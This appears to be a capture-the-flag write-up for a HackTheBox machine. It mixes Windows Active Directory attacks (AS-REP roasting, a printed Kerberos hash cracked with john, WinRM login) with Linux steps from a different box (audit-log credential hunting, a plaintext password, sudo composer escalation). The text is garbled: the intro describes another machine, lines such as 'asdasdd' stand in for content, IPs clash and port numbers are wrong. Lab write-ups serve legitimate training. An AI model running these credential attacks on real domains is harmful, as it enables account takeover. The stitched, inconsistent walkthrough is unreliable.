Forest is an easy-rated Linux machine from HackTheBox, created by egre55 and mrb3n. In the current post, my IP is 10.10.14.131, and the target IP is 10.129.110.133
This machine features an apache server hosting a PHP website. The website doesn't look special until you intercept the registration process, where you can change a obvious parameter to change your privileges to that account, then when you fuzz the website, you find an admin login url. In that URL there is an sub-domain with error logs from Laravel, revealing in the process the API_KEY used for an exploit for RCE. Inside the machine, there are a lot of techniques used to pivot between users and the change your user to root.
Recon
The first steps are about getting basic information about the target, by using nmap and searching information from the website.
Local Terminal
$ping-c110.129.110.133PING10.129.110.133 (10.129.110.133) 56(84) bytes of data.64bytesfrom10.129.110.133:icmp_seq=1ttl=62time=185ms---10.129.110.133pingstatistics---1packetstransmitted,1received,0%packetloss,time0msrttmin/avg/max/mdev=185.427/185.427/185.427/0.000ms
By the TTL (Close to 128), we can assume that is a Window Machine.
The port 53 (Simple DNS Plus) is open, this program could be vulnerable to Zone Transfer Attack.
Port 135 (MSRPC), the core of the "Remote Procedure Call", used to create and manage remote sessions
Port 385 (LDAP - Lightweight Directory Access Protocol), contain all the information about the Active Directory, enabling the access to files and devices inside the public or corporative intranet.
Through nmap we found the domain name, add it to "/etc/hosts" as "10.129.159.205 htb.local"
Ok, there is a Windows Server working.
LDAP Recon
From here, every command are specific steps to scan machines with LDAP orientation
AXFR does not show subdomains, this means that the target is not vulnerable to Zone Transfer Attack.
Now we will get information from RPCclient using first, a null session.
With this, we got a list with every user name, but we want this in a file, this can be done with the following command:
Exploring groups,
List with every group, there is an important group called "Domain Admins", let's see if we can get more information.
Only one user.
Nothing here... and so on, if you want to learn more about RPCclient, go to the following site
Reverse Shell
Now that we have a file called users_file with the list of users, we can use GetNPUsers.py
There is one user, called svc-alfresco vulnerable to this kind of attack, save the hash in a file and then decrypt.
Information at the momment > user:pass svc-alfresco:s3rvice
Because the port 5985 (winrm) it's open, we can if it's valid to login inside the machine.
There is a plus, so it is valid.
And we are in!
Setting BloodHound
First, to be sure, we execute some commands to get information.
Local Terminal
asdasdd
asdasdd
asdasdd
asdasd
User Pivoting [mrb3n]
The user is from the group adm, maybe we can use an specific command or read some logs.
Usually the logs located at /var/log/audit/ are important, but they have a LOT of information, a good alternative is to use "grep" to find relevant data.
From here, we want a hash like "2F7573722F62696E2F656469746F72202D2D202F" between cmd= and Terminal=, to apply xxd -ps -r
Nothing here, now we will tesst with uid=1000
But there is another interesting rows, the ones that contain "TYPE=tty" and "data="
Privileges Escalation
At GTFOBin there is a way to escalate privileges with sudo using composer
Nmap scan report for 10.129.159.205
Host is up (0.15s latency).
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2023-06-12 13:46:50Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: htb.local, Site: Default-First-Site-Name)
445/tcp open microsoft-ds Windows Server 2016 Standard 14393 microsoft-ds (workgroup: HTB)
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open ldapssl?
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: htb.local, Site: Default-First-Site-Name)
3269/tcp open globalcatLDAPssl?
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
9389/tcp open mc-nmf .NET Message Framing
47001/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
49664/tcp open msrpc Microsoft Windows RPC
49665/tcp open msrpc Microsoft Windows RPC
49666/tcp open msrpc Microsoft Windows RPC
49667/tcp open msrpc Microsoft Windows RPC
49671/tcp open msrpc Microsoft Windows RPC
49676/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
49677/tcp open msrpc Microsoft Windows RPC
49681/tcp open msrpc Microsoft Windows RPC
49695/tcp open msrpc Microsoft Windows RPC
63040/tcp open msrpc Microsoft Windows RPC
Service Info: Host: FOREST; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb-security-mode:
| account_used: <blank>
| authentication_level: user
| challenge_response: supported
|_ message_signing: required
| smb2-security-mode:
| 3.1.1:
|_ Message signing enabled and required
| smb2-time:
| date: 2023-06-12T13:47:53
|_ start_date: 2023-06-12T13:02:41
| smb-os-discovery:
| OS: Windows Server 2016 Standard 14393 (Windows Server 2016 Standard 6.3)
| Computer name: FOREST
| NetBIOS computer name: FOREST\x00
| Domain name: htb.local
| Forest name: htb.local
| FQDN: FOREST.htb.local
|_ System time: 2023-06-12T06:47:51-07:00
|_clock-skew: mean: 2h26m50s, deviation: 4h02m30s, median: 6m49s
Local Terminal
$ crackmapexec smb 10.129.159.205
SMB 10.129.159.205 445 FOREST [*] Windows Server 2016 Standard 14393 x64 (name:FOREST) (domain:htb.local) (signing:True) (SMBv1:True)
User Name : Administrator
Full Name : Administrator
Home Drive :
Dir Drive :
Profile Path:
Logon Script:
Description : Built-in account for administering the computer/domain
Workstations:
Comment :
Remote Dial :
Logon Time : Mon, 12 Jun 2023 09:03:24 -04
Logoff Time : Wed, 31 Dec 1969 21:00:00 -03
Kickoff Time : Wed, 31 Dec 1969 21:00:00 -03
Password last set Time : Mon, 30 Aug 2021 20:51:59 -04
Password can change Time : Tue, 31 Aug 2021 20:51:59 -04
Password must change Time: Wed, 13 Sep 30828 23:48:05 -03
unknown_2[0..31]...
user_rid : 0x1f4
group_rid: 0x201
acb_info : 0x00000010
fields_present: 0x00ffffff
logon_divs: 168
bad_password_count: 0x00000000
logon_count: 0x00000062
padding1[0..7]...
logon_hrs[0..21]...
<...>
[-] User HealthMailbox0659cc1 doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User sebastien doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User lucinda doesn't have UF_DONT_REQUIRE_PREAUTH set
$krb5asrep$23$svc-alfresco@HTB.LOCAL:3b0f368abedda0972f6ce084d710db99$59e079cf158fece898df6512b1ad9177bf4512f6b5f9e405f88f4485fb07846f4b4d15df5e62bf864a63e0789ba6f79052a9487b56ff27bd1b063f673e74cac3c2779ca8b3e3ef293c29f609410c77cae1850b35c88433f33b984c87e37ed7cddaf0e8c85bca533ff0d55b48c943e34dcef60afa22d34d0cac141dac63af6ef8d5716cbe8d479486eec96e3e85ddbbe3b4c72835bb3d552e3a47790efd1ad78170df5c27864de75ef4f7c0c93377c3df329e0223a132f7c03399e2ce98b087ac7414b540d0e983707d8beb0122d4391ed8df0263bb94fe5a30b87040d0368ca052c4feb27854
[-] User andy doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User mark doesn't have UF_DONT_REQUIRE_PREAUTH set
<...>
Local Terminal
$ john --wordlist=/usr/share/wordlists/rockyou.txt hash
Using default input encoding: UTF-8
Loaded 1 password hash (krb5asrep, Kerberos 5 AS-REP etype 17/18/23 [MD4 HMAC-MD5 RC4 / PBKDF2 HMAC-SHA1 AES 256/256 AVX2 8x])
Will run 16 OpenMP threads
Press 'q' or Ctrl-C to abort, 'h' for help, almost any other key for status
s3rvice (?)
1g 0:00:00:01 DONE (2023-06-12 15:46) 0.6024g/s 2462Kp/s 2462Kc/s 2462KC/s s521379846..s2698813
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
exithistory
mrb3n_Ac@d3my!
su mrb3n
whoami
cat dat
<...>
Target Terminal [cry0l1t3]
su mrb3n # Password: mrb3n_Ac@d3my!
Target Terminal [mrb3n]
$ id
uid=1001(mrb3n) gid=1001(mrb3n) groups=1001(mrb3n)
$ sudo -l
[sudo] password for mrb3n:
Matching Defaults entries for mrb3n on academy:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User mrb3n may run the following commands on academy:
(ALL) /usr/bin/composer